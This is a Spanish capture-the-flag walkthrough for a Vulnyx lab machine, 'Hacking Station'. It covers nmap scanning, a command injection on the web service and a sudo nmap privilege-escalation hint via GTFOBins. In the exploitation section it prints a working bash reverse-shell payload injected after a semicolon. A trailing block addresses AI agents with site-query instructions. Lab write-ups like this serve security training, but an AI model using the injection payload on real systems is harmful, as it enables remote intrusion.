# Hacking Station

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.56
```

para verificar la conectividad de red.

<figure><img src="/files/27JUXpN3fW5xRCqGkorK" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.56 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/d4dFm3hZ3iVQJlucpCU3" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo el **puerto 80** perteneciente al **servicio HTTP** está abierto, por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p80 -v 192.168.1.56
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/vqXZcI39DEFfUdeKo1VI" alt=""><figcaption></figcaption></figure>

Revisamos puerto 80.

<figure><img src="/files/1pt29nbbruvYvRESr3Xv" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Consiste en un Command Injection por lo que nos mandaremos una Reverse Shell.

```bash
hola;bash -c 'bash -i >& /dev/tcp/192.168.1.65/4444 0>&1'
```

Nos ponemos en escucha.

<figure><img src="/files/zU7fH01dos1co8I3npCE" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="/files/Fh2rRFy6tDRVKgX0UIHa" alt=""><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/nmap/#sudo>" %}

<figure><img src="/files/Iby4MQOMm9hzgpL70v3v" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/vulnyx/hacking-station.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
